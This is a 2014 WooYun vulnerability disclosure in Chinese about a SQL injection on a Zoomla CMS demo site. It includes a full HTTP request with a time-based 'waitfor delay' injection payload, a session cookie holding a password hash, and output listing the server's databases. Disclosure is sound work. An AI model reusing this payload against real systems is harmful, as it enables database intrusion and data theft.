漏洞详情

披露状态:

2014-01-20: 细节已通知厂商并且等待厂商处理中
2014-01-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-04-17: 细节向公众公开

简要描述:

。。。。。

详细说明:

由这个demo http://demo.zoomla.cn/

u.jpg



点击这个“全景应用”找到漏洞网站:http://pano.zoomla.cn/ (这应该也是一个demo)

http头部信息

GET /User/UserFriend/FriendSearch/Search_HighLevelResult.aspx?&shengxiao=1&usersex=-1&provin='%20waitfor%20delay'0%3a0%3a20'--&city= HTTP/1.1
Host: pano.zoomla.cn
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://pano.zoomla.cn/User/UserFriend/FriendSearch/Search_HighLevel.aspx
Cookie: VisiteCounter=1; ASP.NET_SessionId=55o4z0bkzg0h1b55km4wfozk; users=; UserState=UserID=93&LoginName=dGVzdHRlc3QxMThAMTYzLmNvbQ==&Password=caa3e1409f0f621b29c0d075f0682fd6



usersex存在漏洞

u8.jpg



u9.jpg



漏洞证明:

available databases [20]:
[*] demozoomla
[*] hx008_com
[*] master
[*] model
[*] msdb
[*] nc148
[*] pano
[*] qudou668
[*] qudou668_shop
[*] qudou668_v
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] zoomla_ad
[*] zoomla_auto
[*] zoomla_baoxian
[*] zoomla_cd
[*] zoomla_city
[*] zoomla_cn
[*] zoomla_cqmap





sql.png

修复方案:

.....

版权声明:转载请注明来源 PgHook@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-25 11:41

厂商回复:

最新状态:

暂无


漏洞评价: